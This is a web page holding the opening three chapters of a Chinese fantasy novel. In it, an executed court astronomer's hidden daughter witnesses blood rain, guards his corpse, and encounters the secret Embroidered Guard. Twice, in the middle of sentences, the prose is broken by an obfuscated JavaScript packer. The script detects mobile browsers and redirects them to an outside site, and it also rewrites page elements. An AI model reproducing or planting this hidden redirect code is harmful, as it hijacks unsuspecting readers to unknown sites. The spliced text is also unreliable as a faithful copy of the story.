《百妖解》 1. “天上在下血” 大桓王朝景熹四年,农历三月初九,谷雨刚过,潮湿的绿意已蔓延整个都城桓安,正是赏景好时节。 然而,桓安城内的百姓可无暇顾及这惬意,心思全在乾霄门。 今日午时,圣人亲判的“妖人”应贤即将被处斩。 “来了来了,人来了!”围观的百姓早已将刑场周围包了个水泄不通。 “杀!杀!杀!决不能放过这个妖人!我那嫁去渭天府阜林村的表妹一家就是被他害死的!可恨呐,我表妹还在张罗着给儿子过百日,结果妖物进村,竟屠了全村老小几百口人,一个都没放过,全死了,全死了呐!” “唉,老兄节哀,我老家陈州也有村子被妖物屠了,这应贤好好的官不做,竟豢养百妖害人,真是造孽啊!” “看不出他竟是这样草菅人命之辈,杀他十遍八遍都不解气!” 对于应贤,这个豢养妖蛊祸国殃民的妖人,百姓们害怕有之,愤怒有之,但更多的还是感觉震惊。 明明前不久还是百姓敬仰,圣人倚重的司辰局最高官员——司辰令。曾多次利用天象星占,帮助大桓百姓避过饥荒、灾难,怎么一夕之间就变成了私自豢养妖蛊,祸国殃民的罪大恶极之辈了? 然而最近各地确实频发妖物害人、死伤众多的恶性事件,把大家吓得不轻,若是能抓到罪魁,对百姓来说也是幸事,不必一到黄昏就匆匆赶回家关门闭户,提心吊胆。 “杀!杀!杀!”围观群众的情绪被点燃,越来越多的人被气氛所感染,也高呼起来。 在这样的呼声之中,众人议论的焦点——应贤,被重重铁链绑着,押解至刑场正中。 “嚯,被绑成这样,就是通天的妖术也逃不掉吧?” “你懂什么,那些妖人都是可以随意变大缩小的。” “怕你还看,不如回家关门缩在菜缸里!” “听说已经被圣人请的方士高人镇住了,没法再作妖。” “高人来了吗?万一一会儿兴风作浪怎么办?” “眼皮子浅!你以为四周那些黑色幡旗、八角铜镜,还有刑场正中间那块巨石是干嘛的?这些都是镇压邪祟的风水阵,只要他是真的邪,谅他有移山填海的本事也翻不出个浪花来!” “哟,兄台你挺懂啊......” “那是……” “还好圣人英明,将其捉拿归案,现下妖祸已经平息,要不咱们也不敢出来看热闹。看他一副道貌岸然的样子,真看不出心肠这么歹毒!” 绑住应贤的铁链过于沉重,拖地发出“趿拉趿拉”的声音,应贤一步一步走得艰难,却沉稳。 人群中,一个身着破旧云青裙衫的少女悄声挤到围观百姓的第二三排间,冷冽的眸子紧紧盯着那铁链缠身的人。 后面的人见她挤进来,本欲骂上两句,但见她裙衫褴褛,头发蓬乱,脸上也尽是泥污,整个人像一张被人扔在地上踩过的宣纸,单薄纤弱,皱皱巴巴,料想是没见过世面的乞儿,不欲跟她一般见识,实则更怕挨她太近弄脏了自己的衣衫,就这样被她钻了空子,居然挤到前排去了。 少女浑然不顾周围人看她的鄙夷目光,只紧盯着应贤。 父亲! 少女面色苍白,唇无血色,牙齿紧咬,极力控制自己不要发出任何声音,做出任何引人注目的动作。 眼前,她的父亲应贤,昔日华贵的朝服已然被剥夺,只剩下破烂污秽不堪的白色囚服,本应束发,此刻散乱披着,发间一簇簇一丛丛的白发藏掖不住,和他原本才四十出头的年纪极为不匹配。 尽管满脸满身尽是污秽,也依旧掩不住应贤周身温雅清正之气。他步履稳健,身形挺拔如松,面色平静,不见丝毫慌乱恐惧或愤懑不平,甚至,面带微笑。 就像平日里拍着她的肩,说她夜观天象的功课做得不错的那种笑容。 “果然是春风朗日,不枉某昨日夜观天象,今日乃上佳死期,甚好!甚好!” 应贤朗声说道,好似今日只是来看风景,而不是被处斩。 “你看吧,他也就看着正常,其实早就疯了,要不怎么净不干人事呢!”周围群众一片哗然。 冷眸少女攥紧了拳头。 “跪下!”身后押解应贤的官兵一踢他的膝窝,应贤重重跪在地上,脊背依旧挺得笔直。 冷眸少女的心也跟着重重刺痛,牙齿咬碎,眼眶泛酸,但她仍极力控制自己不要轻举妄动,将存在感降到最低,像一个真正的路人。 不能掉泪。 骨节泛白握紧的拳藏进袖口。 藏好,像一个真正的看热闹的路人,不过分关心,不过分冷漠,最重要的是: 不要被发现。 此刻,这世间应当已经没有应贤的家人了,只有她,应婵,这个从小被“死亡”,实则养在深山玄门的最小的女儿独留世上,救人计划已经失败,想活命,她就绝不能被发现! *** 日前,应贤突遭桓帝治罪,全家老小均被流放,他夜观星象,预知有此劫难,早在入狱前便暗中去信给一直“藏着”的小女儿应婵,按照流放沿途家人留下的标记前去接应,设法营救。 却不料,全家老小于流放途中遇到山体滑坡,均被埋葬,等应婵赶去汇合,只剩下一排排形状散乱的尸骨。 碍于“命格”不好,应婵从小“假死”,被寄养在偏远的玄门——霄擎山炁云洞偷生,只唤名“阿婵”而不唤姓,才能无灾无难长大。 师傅苍衍道长教她练功,但对她很是严厉,也不让同门师兄弟和她有太多接触。 所以小时候,她看着师兄弟下课后三五成群地结伴而行,总是觉得很孤单。 直到有一天,她外出历练,一对从桓安来的夫妇在炁云洞附近遇险,她出手相救。 听那对夫妇说,他们是来附近观星的。阿婵头一次听说天上星斗也有那么多有趣的故事,而不是书上枯燥的玄学理论。 而她后来长大一点才知道,这对她偷偷结交的“忘年交”,竟然是她的父母! 当时她根本不信,但他们竟然能说出她身上的胎记位置,和师傅收养她过程中的很多细节。她跑回去问师傅,才知道原来他们一直和师傅暗中通信,保持着对她的关注。 原来她不是天生天养被野狼叼到炁云洞的,她不叫阿婵,她有父母,有姓氏,她叫应婵! 父母偶尔会去炁云洞附近借观星名义,暗中去看她。她知道自己的身份,也知道家里还有阿兄阿姐祖父祖母,但父亲会叮嘱她把自己“藏好,不要被发现”,免得老天爷把她收回去。 她每次都点点头,总觉得是在和父亲玩一个隐身游戏,甚至有和父亲专属的通信“暗语”,长大后她慢慢了悟,其实父亲把家底全透给她,却让她隐藏自己,是一种考验,至于考验什么,她并不知道,问了父亲也不说。 她偶尔会觉得有点不公平,为什么偏偏是她要守着这些秘密,不能光明正大地和家人在一起,但她慢慢学会了安慰自己—— 她不能是她自己,也就意味着,她可以是任何人。 所以长大一点后,她学了本领出门历练,常常仗着自己的“隐藏身份”,背着父母回到桓安,乔装变脸装成各种路人,去偶遇以为她“已死”的阿兄阿姐祖父祖母,还挺有趣,也算是另一种形式的参与家庭日常生活。 对于父母以外的家人,应婵觉得自己更像一缕旁观的游魂,看着他们的人间烟火,挺好,但没必要加入。 自己把自己“藏好”,虽偶有孤单,但大部分日子都是广阔天地,自由自在。 可谁料,再见面,彼时活生生的家人却已经成地上平躺的一排冰冷僵硬扭曲散乱的尸体。 母亲再也不会趁父亲不注意,悄悄塞给她一大包会“吃坏牙”的糖果,让她每天吃一颗,吃完的那天,刚好就是母亲再来看她的那一天,她又会得到一大包悄悄塞给她的新花样“糖果补给”。 阿兄阿姐们再也不会在她假装受伤路人一瘸一拐从他们面前经过时,主动上前扶着她,陪她回“家”。 祖父祖母再也不会在她假装外地寻亲的小姑娘问路时,心疼地让她坐上马车送她到客栈,一路对她嘘寒问暖,替她付好客栈的住宿钱再离开。临走时还摸摸她的头说:“如果我们的小孙女还活着,也该有你这么大啦~自己保护好自己哦。” 如今,他们都死了。 成了她面前一具具泥泞残缺扭曲的尸体。 那一刻,她似乎明白了父亲让她“把自己藏好”是为了什么。 所以应婵依旧只能在官差搬运尸体的时候,竭力忍住情绪,装作路人,淡淡问上一句:“官爷,这是怎么了,他们是谁啊?” 押解途中出了这么大的篓子,幸存的官差捡回一条命却没法交差,心想还不如死了算了,压根没心情理她,怒气冲冲将她赶走。 出了这么大的事情,官差看守比之前严密了十倍,应婵根本没机会接触尸体。 被迫转身离开时她想:这片山地近日天气晴好,山势稳定,为什么会突然山体滑坡呢? 如果这里会山体滑坡,那么身在桓安的父亲会不会也有别的“意外”? 思及此,应婵骑马飞奔连夜赶回都城桓安。她换了很多匹马,不想让速度慢下来,甚至想骑得再快一点,让风吹走那些止不住的眼泪。 她做了一个决定,她要去救父亲。 父亲这一辈子只会看日月星辰,根本就不会什么妖术,还不如她会捉妖,谈什么豢养操纵妖蛊祸国殃民?父亲是无辜的,一定是有人诬陷他! 如果藏着的命没有办法挽回家人,何必再藏,只剩她一个人“偷生”有什么意义? 如今她也十六岁了,跟着师父学了许多本领,对付大妖物不够,但自己手里有一些可供驭使的小妖怪帮她扰乱视听,对付普通人,拼上这条命,应该也不是不行。 师父师兄弟是可以帮她,但她怎么能要求他们为她来淌这趟浑水? 回到桓安,她来不及休息,花光了身上全部的钱,仔细打探布防消息,勘测刑场地形,策划逃跑路线,却卡在了最后一刻。 她还是太天真了。 她没想到,刑场竟然用上了最高等级的风水防御大阵,她也只在书上见过这种阵法,而她才十六岁,以她的修为,根本破不了阵。 应婵在刑场周围的隐蔽角落,尝试将一些扰乱视听的小妖怪放出去当障眼法,谁知一放出去,便全军覆没,悄无声息。 为什么她身为普通人的父亲,却要被用这样法力高强的风水阵法来对付? 时间紧迫,她来不及多想,只能自己强行破阵,却换来刑场上幡旗都掀不起一丝波澜。像一只蚂蚁用尽全身的力量去撞一只瓦缸,可怜又可笑。 应婵强忍住胸口的剧烈痛楚,在无人的巷尾角落吐出一大口血,手臂经脉已破损,看着鲜血顺着衣袖止不住地流,她感觉不到疼,只觉得大脑一片空白。 没有别的办法了,她马上连父亲都要失去了…… 到底是什么样的深仇大恨,要她父母全家非死不可! 她草草止血,用泥巴掩盖周身血迹和脸部,返回刑场,挤入人群,马上就要到午时了。 刑场内有士兵严密把守,刑场外有顶级风水大阵,防御如铜墙铁壁。 应婵只能眼睁睁看着日晷指针一点点挪向“午时”。 父亲静静跪着,他并不知道远在千里外的家人已经全部遇难。他那么信任自己,而自己竟然连家人活着的最后一面都没见到。 “午时到!” 主持今日行刑的是桓帝的第三子——煜王晁元肇,他年仅十八岁,却已然英气逼人,气度不凡。 众人心知如此重大且具有危险性的场合,能够被圣人委以重任,是莫大的荣光,不禁感叹他将来定大有可为。 只有应婵,目光灼灼盯着这张脸,似要将他的样貌五官每一寸皮肤都刻在心中。 “行刑!”煜王宣读完应贤“罄竹难书”的罪行,从案几上抽出刑签,拂袖一扔。 刑签落地,刽子手得令,缓缓举起刀。 应贤跪立之下,依旧神姿高彻,风骨凛然如千丈松,口中朗声高颂: “飞骨何所惧,星辰作伴俦。 皎洁明月魄,冰魂自悠悠。 来日身首异,今朝意气投。 天地为棺椁,宇宙是吾丘!” 而后,他最后抬头看了一眼在司辰局日夜为伴、再熟悉不过的天空,闭上了眼,平静地接受属于自己的命运。 刚才还在起哄斩杀妖人的围观百姓见此情景,鸦雀无声,不知为何,竟为之揪心起来。 “轰隆——”朗日晴空瞬间乌云如盖,细雨如针,霎时刺向大地。 刽子手手起刀落,没有一丝迟疑,一声闷响,应贤的头颅滚落在地,温热的血液随刀划出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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*** 雨丝细密如针,一只黑鸦哀鸣两声,划过天空,翅膀掠过雨丝,却未带起一丝声响。 “诶,这雨,怎么有股腥味?” “是血的味道啦,毕竟刚刚砍头了嘛!” “不是……不是,是天上在下血!”一个粗布长衫的书生抹着落在身上的点点深红痕迹说道。 “天呐,真的是血!”越来越多的人发现自己身上沾了来自天上的“血迹”。 “这……下血了……下血了……不愧是妖孽!” “晦气,快点回家吧,别沾上了!” 刑场周围看热闹的人群瞬间四散躲避,脸上全是厌恶惶恐的神色。 半晌过后,不仅刑场,大街小巷都充斥着诡异浓重的血腥味,街巷中半个人影也无,诡异寂静,恍若一场血色梦境…… 无人街巷的隐蔽角落,阿婵拖着虚弱的身子慢慢找个地方藏身。春寒料峭,雨水落在身上,冷透入骨,她抹了一把脸上的雨水,发现手上一片血色。 这不是她的血。 她抬头,血自天上来。 空气中浓重的血腥味,让她皱起了眉头。 “天雨血,流染衣,有怨恐,是谓天见其妖……” 她想起父亲让她背诵的《桓阙占经》中有这样一段记载怪异天相的占辞。 妖?什么妖?难道是指她父亲? 不,不可能,父亲分明是含冤而去的! 但若不是他豢养百妖,又会是谁呢? *** 桓安皇城,勤政殿。 午后天色暗如幽冥,如针细雨裹挟一阵阴风,从窗棂缝隙钻入,发出隐晦凄恻的暗响,似鬼魅低语。 一声惊雷,将案几前的桓帝惊醒。 他额头一片薄汗,才发觉自己批改奏章时竟不知为何陷入梦魇,显然,梦境并不愉快。 内常侍见圣人醒了,忙不迭上前侍候,顺便通传刚刚收到的消息: “陛下,应大人......呃不,应妖人已于午时斩首示众于乾霄门外。” 桓帝肃面起身,想走到窗边透透气,面前一道珠帘随风微动,恍若无数只手在虚空中挥舞,他不耐烦地将其拨开,眼中竟闪过一丝惊惶,随即隐去。 内常侍追在其后递过茶盏,桓帝直灌了两大口,这才清了清喉咙:“刑场可有人闹事?” “回陛下,有煜王殿下和凌元道长布设的阵法,一切顺利,但是……” “说!”桓帝抬起鹰眸。 “应妖人斩首之后,天……下起了雨。” “下雨也值得你吞吞吐吐?” “是血雨……”内常侍不敢抬头看桓帝。 闻言,桓帝皱起了眉头,才发觉窗边浓重的潮湿味道,是血腥气。他将手伸出窗外,点点红丝随即落在手掌:“凌元道长如何说?” 内常侍赶紧躬身呈上一卷文书:“这是道长给出的占辞,请陛下过目。” 桓帝展卷,见其上书:“血自天堕,是谓天见其妖,佞人用功,国有大丧。” 他的眉头越皱越紧,心中不详的预感愈发强烈。 桓帝摩挲着已空的茶盏,脸色阴沉,沉默半晌,唤内常侍:“告诉凌元,就照之前说的做吧。” “是。”内常侍接过空茶盏,有些犹豫道:“太医说,皇后殿下那边情况不太好......” 皇帝想起刚才的梦境,铁青着脸起身,“朕过去瞧瞧。” *** 翌日天晴,但人们还在心有余悸地谈论着一场因妖人斩首引发的“血雨”事件。 随即有胆子大的人发现,身首异处的应贤尸体并没有被收殓,而是依旧曝尸乾霄门外。 以前也不是没有过这种警示的做法,只是这次,尸体周围还摆了“镇妖驱邪”的阵法。 红汩汩的朱砂,黄艳艳的符纸,在尸首周围形成一个圈,中心还有香炉,似是怕身首分离的尸首随时再站起来害人,即便是寻常和血肉打交道的屠户看了也要脊背发凉,寒毛直竖。 更诡异的是,人们发现,三天过去了,尸体竟完全没有腐烂的迹象。 一波未平,一波又起,应贤斩首后第三日,嘉善皇后突然薨逝,整个大桓随之进入国丧…… 2. 割尸肉 这三日,阿婵躲在暗处一直观察着父亲的尸首,不明白为什么像父亲这种普通人的尸首会不腐,一定是有人动了手脚,她得想办法将尸体抢回来。 对于坊间百姓,不腐尸比妖人斩首天降血雨更容易流言四起: “圣人英明,果然是妖邪,怪不得刑场上也要布阵,确实妖得很!” “据说曝尸三天也是要彻底除掉其邪祟呢!” “希望圣人这次除掉邪祟,就不会有妖物出来害人了,不然夜里睡觉都不踏实。” 类似的流言,遍布大桓大街小巷…… 然而第三日午后,各寺观丧钟敲响,嘉善皇后突然薨逝,所有人都始料未及,顾不上妖人邪祟,急忙换上素服准备国丧。 第三日夜,曝尸期限已满。 子时一过,便有一队士兵过来将应贤尸体收殓,转移到城郊乱葬岗。 许是上面觉得父亲的尸首已无法“作妖”,否则不会送至乱葬岗。 但阿婵不敢掉以轻心,她想取回父亲的尸首,万一半路再杀出之前布阵的高人,她会功亏一篑。 她悄悄尾随队伍,但快到乱葬岗时,突然察觉另一伙人也悄悄“缀”在后面。 她自幼在玄门修习,耳力和轻功都不错,能分辨出对方大概五人左右。 她故意放慢速度,落在这五人后面,想看他们到底意欲何为。 一路无事,到了乱葬岗,士兵将应贤的尸首运至一片隐秘难以入内的密林之中掩埋,之后便离开。 阿婵并没有感受到此处另设阵法,心下稍微放松些,但也没有轻举妄动,她在等对面那五人的动作。 只听得那五人窸窸窣窣进入密林,动作敏捷迅速,感觉比刚才的士兵还要训练有素,怪不得没有被士兵发现。 不知他们什么来路,阿婵盘算着应对之策。 她借着昏暗的月光,看那几个人围在父亲的尸首周围。 其中一个虎背熊腰、声音低沉的男人蹲下查看应贤的尸首。 “此人果然够妖孽,三天了,尸首竟丝毫不腐,简直跟睡着了没啥区别。” “那咱们有救了吗?”旁边一个精瘦的矮个子道。 他说着便撸起袖子,阿婵看到那人露出的小臂上有一.大块烂疮,红肿溃烂,触目惊心。 “咱们拼死拼活在前线杀敌,谁想到能染上这怪病,也没人管,死不了人就只当肤病来治,谁管咱们发作时痛不欲生!”另一个粗嗓子大汉说道。 “就是,夜里发作疼得睡不着觉,白天又像没事一样,还得照常上阵迎战,上面只会怪罪士气不足,阻击不利,谁管咱们死活!”矮个子说着啐了一口,戳了戳应贤的尸身。 “这东西真的管用吗,咱们花光了所有的钱买那个方士的秘方,别是骗子。”矮个子迟疑,扒拉着尸首,“不过确实是一点没腐烂,不会活过来吧。” “头都没了活个屁!”粗嗓子大汉嗤笑道。 “难讲,那方士不是说过,邪祟之人尸身不腐,怨念入骨,或可成“毒僵”。要在他成僵之前分食其肉,便可以毒攻毒,治疗咱们身上这个怪病。快割,别等他成毒僵!”虎背熊腰男已不由分说抽出匕首,准备割肉。 他们竟然想吃父亲的肉! 阿婵额头青筋暴起,一扬手,袖中一黑影嗖地一下窜了出去。 那五人正准备割尸肉,忽然一阵薄雾袭来,瞬间笼罩了整个密林,本就昏暗的月光被这雾气一遮,密林几乎伸手不见五指。 “怎么回事?什么都看不见了?”粗嗓子低吼。 “莫慌,这乱葬岗午夜经常起雾,大家小心一点,赶紧弄完赶紧走。”是虎背熊腰男的声音。 说着几个人就一阵忙活起来。 等了一会儿,薄雾逐渐聚拢到五人周围,月光复穿过密林。 借着寡淡月光,阿婵看到那五人正跪在地上,围成一圈,自割腿肉,血流了一地,但那五人好似没有痛觉一般,只是一边脸上非常嫌恶一边仍停不下割肉的手,口中还说着:“快快快,利索点!” 而对于旁边应贤的尸身,他们却视若无睹。 一团模糊的月色雾气萦绕五人身边,在黑漆漆的密林中尤为显眼,周围散着丝丝缕缕的轻烟,又似一只只细小的触.手,将五人罩在其中。 阿婵不禁冷笑,这团雾气,就是她刚才扬手甩出去的那团黑影。 它是一只名为“镜衍”的小妖怪,能够像镜子一样反射现实,本体是黑色,因反射了月光而变成了月色。 它幻化的薄雾幕墙,会将现实扭曲成幻境,一旦实施恶行的人置身于它的掌控之下,就会在幻境中将自己所欲施加给别人的恶行返还到自己身上。 那五人以为自己是在割尸肉,其实是在割自己的肉,等到镜衍被阿婵收回,他们就会恢复痛觉,血流干而死。 虽说听到他们患病也很可怜,但到底是狠了心对别人起了邪念,下了黑手。 自作孽,不可活! 阿婵长在玄门,对于恶人恶妖一向没有佛家那些感化教育的闲心,都是该除除,该杀杀。 她刚准备现身将父亲尸首抢走,顺便把这五人处理掉,突然感觉周遭不太对劲。 随即一道金光自密林穿过,击中镜衍,将其破开。镜衍瞬间散乱溃不成团。 是“心灯符”! 阿婵心惊,镜衍虽是法力不高的小妖怪,但能破开它幻境的“心灯符”却也需要有点道行的方士凝聚修为以手画符才可施法。 难道刚才那队士兵在守株待兔?可她这一路也没感觉到队伍中有修为不低的方士混入其中啊。 视线不清晰,只能感到又有一队人马迅速往密林来,阿婵只得复在荆棘丛中躲好,荆棘刺身,十分疼痛,却也必须忍耐。 不过一霎,阿婵便看到五人已经被那队人马制住。 脱离了镜衍幻境的五人,疼痛随神智一起恢复,捂着腿哀嚎起来。 一个方士打扮的中年男人,将糊作一团的镜衍收入随身携带的布口袋中,面露喜色道:“这镜衍妖不常见,此处不该它出没,没想到能遇见。虽是个小妖怪,却能帮我修炼心性,也算此行惊喜。” 不是移送父亲尸首的那队士兵,这一队人马身着绣衣制服,花纹布料十分繁复华贵。也和那五个自称是上阵杀敌的军士不同,他们的行动更加隐蔽快速。 能在阿婵无法感知的距离释出“心灯符”,又能在极短时间之内集结行进到这里,看样子这队人马平日里没少做潜伏隐蔽的勾当。 为首的绣衣人身形颀长,腰间佩刀,手持龙首金杖,一一戳过五人自割的伤口,缓慢、用力,换来对面更惨痛的哀嚎。 *** 旁边几个绣衣随从对五人搜身,搜到一些东西,拿过来跟绣衣首领确认。 绣衣首领接过看了一遍,目光扫过五人,沉声道:“犍骑营逃兵,果然不负选拔标准,人人一双好腿,没白长。不仅逃得快,且仅十日就流窜作案四起,夜间沿路、入户偷盗财物,致三人亡,六人伤,一户村庄民居被烧毁。你们认吗?” 那五人瞬间愣住,互相看了看,然后连连大叫表示冤枉。 但是没有用,从他们的神态就已经能看出很明显的心虚了。 “把人带回去审问。”绣衣首领好整以暇地用布擦拭着龙首金杖上沾的血迹。 他的声音非常年轻悦耳,字字句句却令人胆寒至极:“既然这么喜欢割.腿食.肉,每日早午晚双腿各割十次,割完自.食,直至见骨,好生伺.候。” 旁边的绣衣随从领命,将险些晕死过去的五人押走,面不改色,显然对上司这种命令早已习以为常。 绣衣首领又对随从道:“方才徐方士说他捉的妖怪不常见,此处也不该是它出没的范围,或许周围还有其他人,带一队清扫密林周围,如无所获再将范围扩大到整个乱葬岗,不要放过一根杂草。” 惨白月光之下,他手中的龙首金杖闪着幽冷的金属色泽,阿婵仔细看去,发现那金杖上的龙首,口衔宝剑,眼神凶狠,应是“睚眦”。 传说“睚眦”是龙之第二子,龙首豺身,刚猛好战,嗜血嗜杀。 这绣衣……这作风…… 阿婵猛然间想起来,原来他们竟是“绣衣察事司”! 所谓“一饭之德必偿,睚眦之怨必报”,睚眦金杖正代表着绣衣察事司的行事风格——对于天下朝臣之恶行“睚眦必报”。 阿婵不常与官府打交道,乃至此时才想起来,背后冒了冷汗。 父亲说过,本朝名义上设有三省六部二十四司,其实还有一个特殊的第二十五司——绣衣察事司。 他们不隶属于任何官府部门,由圣人直接管辖,专搞秘密情报和监察任务,例如搜集敌国情报、监视朝臣动向、诛杀贪腐官员、处理特殊案件之类。 他们向来行踪隐蔽,行事狠辣,一出现往往就意味着朝中发生大案要案。 若被抓者罪大恶极,往往会经历地狱般的酷刑,甚至不需上报圣人就可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931429|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自行将罪人就地正法,因此朝臣对绣衣察事司闻风丧胆,甚至在背地里称其为“沉命司”。 阿婵听父亲的讲述,觉得这帮人比妖怪可怕多了,像潜伏在暗处吐着信子盯着猎物的银环蛇,心肠九曲十八弯,不知道这帮人突然出现是专冲着五人逃兵来的,还是又要对父亲做什么。 论捉妖施咒她还懂点,论对付人,她可比不过心狠手辣的“沉命司”,尤其对面还是配合无间的一整队人马。 一人对一队,对面还有个法力不低的方士,她没什么把握。 想到这里,她不禁暗自缩了缩身子,敛气屏息,将自己藏好,说来可笑,这是她最擅长的了。 希望他们只是来抓逃兵的,她暗自祈祷。 可随即,她便听到绣衣首领对余下随从道:“今奉圣人之命,请徐方士对应贤尸身进行最后的镇煞,众人回避。” 看来抓逃兵只是顺便,他们果然是冲着父亲来的。 阿婵心下绝望,罢了,只剩一条命了,硬拼吧。她咬了咬牙,握紧手中的暗器。 很快原地只留下绣衣首领和徐方士。 阿婵一边留意他们的动作,一边准备偷袭,手心冒汗。 可下一刻,阿婵猝不及防睁大眼睛,难以置信。 因为她看到绣衣首领一边口中说着“得罪了”,一边毫不犹豫将徐方士一个手刀砍晕在地。 这、这是什么情况? 更令她震惊的是,绣衣首领竟然……竟然冲着父亲的尸体,跪了下来。 阿婵一时间被这突如其来的反转搞懵了。 他到底想要干什么?! 她不知道,只能紧紧盯着绣衣首领,随时准备出手,谨防他破坏父亲的尸体…… 但出乎意料的是,阿婵看了半个时辰,那绣衣首领就独自挖了半个时辰的土,将父亲的尸首恭恭敬敬安葬完毕。 随后,他自怀中掏出一封信,在父亲坟前烧掉,阿婵只看到信封封面复杂的花押之下,有两行娟细小字,离得远,看不清内容。 绣衣首领非常谨慎,将信燃成一堆完全无法辨认内容的灰烬,方才罢手。 然后他转身将晕倒的倒霉方士放在马上驮出了密林。 这到底,怎么回事? 片刻后,密林中恢复了寂静,月至中天,连虫鸣鸟叫声都变少了。 只剩下阿婵和父亲的新坟相顾静默。 她还是没敢出来,因为她能感觉那绣衣首领虽然走了,却又派了人在坟周隐蔽处监视此处的动静,可能有诈。 她只能默默地、远远地看着父亲连一块碑都没有的坟包,应和着惨淡月光,分外凄凉。 为什么一辈子痴迷天象,兢兢业业为国家百姓预测天象气候、驱灾避祸的父亲会是如此下场,她想不明白。 为什么那么温柔的母亲,可爱的阿兄阿姐祖父祖母会是如此下场,她也想不明白。 她在心中默念往生咒,希望他们安息,可他们明明冤死,如何能够安息? 只剩她一个人了,只有她一个人能够查明真相,为父母家人报仇! 可找谁报仇?一重又一重的疑问涌上她的心头: 为什么父亲会被圣人扣上豢养妖蛊的罪责? 到底是谁豢养妖蛊陷害父亲,要将父亲及全家都赶尽杀绝? 如果父亲是被陷害的,那么凶手明知父亲是普通人,为什么还要用最高的风水妖阵严阵以待? 为什么父亲的尸身不腐? 为什么那个绣衣首领奉圣人之命让方士来镇煞,转头又将方士打晕,将父亲亲手埋葬,那封烧掉的信是谁写的,和父亲之死有关吗? 这些疑问如重重蛛丝,缠得阿婵思绪混乱,说要报仇,却连仇人都搞不清楚,多么可笑! 凄恻、愤懑、疑惑、不甘、委屈,各种情绪压得她喘不上气,但她甚至不敢喘气,怕被绣衣人发现。 是了,她还是太弱了,对方人多一点,阵法高明一点,自己就不是对手,所以父亲才一直要她“藏好,别被天收了去”。 她以为自己学了些捉妖的本事,有点小聪明就能救家人,可事实却如蚍蜉撼树,显得自己的各种“缜密计划”滑稽又可笑。 斗不过,只能藏。 一直弱,只能一直藏。 她头一次觉得,往生咒渡不了冤死的亡魂。 她得变强,只有强到人斗不过她,强到天不敢收她,找到真相,揪出真凶,父母家人的冤屈才能昭雪,灵魂才能安息! 3. “把妖女投河!” 十年后。 大桓景熹十四年,农历四月十一日。 “河神爷爷怒了!” “投河!把妖女投河!” “对!只有妖女投河献祭,才能平息河神爷爷的怒气!” 岩阳府呈溪县仙昙村,水流翻滚湍急如同开锅。渡河船只停靠在岸边,系了船绳都快被卷走,和着浪花一起不停撞击河边石滩,十分骇人。 全村村民聚集在江边,围着一具小孩子的尸体,和一个被绑着的年轻小娘子,群情激愤。 一个大着肚子的村妇默默守在被绑女子旁边,神情焦急,但又不敢表现得太明显。 反观被绑着的年轻小娘子,一点看不出随时会被献祭的慌乱,面上十分平静,一双眸子时而盯着江面,时而看向祭台,似乎在等待着什么。 *** 同一天,从桓安通往荔南府的官道之上,两队人马集结。 前方便是岔路口,一条官道通往湖襄府方向,一条通往岩阳府方向。 “霍大人,咱们就此分道扬镳。”身着华服的男子微笑抱拳,转身上马。 “煜王殿下一路保重,我们荔南府见。” 霍彦先擢升绣衣察事司副察事的第二天,便换下一身绣衣,轻装简行,乔装成进货的茶商,从桓安绕道岩阳前往荔南府。 据查荔南府富州城或有粮食贪墨案,圣人派三皇子煜王晁元肇与绣衣副察事霍彦先前去调查。 二人商量过后,决定兵分两路。 煜王一路沿湖襄府官道前往荔南府视察,主打一个师出有名,而霍彦先则带领绣衣察事司司众抄近路走岩阳府的小路,能够节省十天的路程,主打查对方一个措手不及。 一明一暗,相互配合。 与煜王分道后,霍彦先纵马调头,对副手杨奉安道:“到前方十里亭,改道进山,急行三个时辰。” 绣衣监侯杨奉安觉得奇怪:“大人,甩尾巴?” “嗯。”霍彦先已纵马先行。 杨奉安一面调遣司众跟上,一面心里嘀咕: 大人素来谨慎,但没想到连煜王殿下都要防备。 看来这煜王殿下看上去也不像表面那般光风霁月,不然怎么合作调查,还在他们后面“坠尾巴”? 等等,难道是为了在圣人面前抢功? 好哇!真缺德!还是大人英明! *** 改道又改道,急行又急行,经过几天翻山越岭穿小道,霍彦先一行人马比预计时间提前到达岩阳府,终于可以歇口气了,天也快黑了。 霍彦先取出水囊,坐在树下问:“尾巴甩掉了?” 杨奉安一路不敢松懈,就等上司这一问,忙拿出手中刚得到的密报喜滋滋邀功:“甩掉了,暗侯刚回的消息,不枉咱们这一路迂回曲折,甩得他们找不着北!大人英明!” 霍彦先神情淡淡,扬起水囊喝了口水,说:“改道呈溪仙昙村,渡河过去。” “啊?又改道?”杨奉安揉揉骑马颠散架的屁股,凑到霍彦先耳边好奇问:“大人,还有尾巴我没查出来吗?” “我以前做暗侯时,去过仙昙村那条水路,虽然凶险一点,但能再节省四天路程。”霍彦先解释道:“多省出点时间,我们就能提前到富州城多做些布局。” 杨奉安服了,他这上司就一个十足的铁血事业脑,主打一个累死自己,拼死别人。 不然当初怎么就他能在二十出头,短短一年就从最底层的绣衣行走,升至绣衣暗侯,再升绣衣监侯。听说当年还破格得到了圣人亲赐睚眦金杖出任务,大大地不得了。 而如今上司也不过而立之年,就擢升至绣衣副察事,要知道,他们的最高领导——绣衣总察事坐到这个位置,可已年将花甲,头发都熬白了,而他们副察事不仅英俊潇洒,还有一头茂密的黑发。 真是天选绣衣总察事的料子啊! 什么时候他也有这脑子、这魄力,能拿到圣人亲赐的睚眦金杖威风一下! “啊呀~”屁股被踹了一脚,杨奉安转头,霍彦先把水囊扔给他:“愣着干嘛,还不派人到前面去探路!” *** 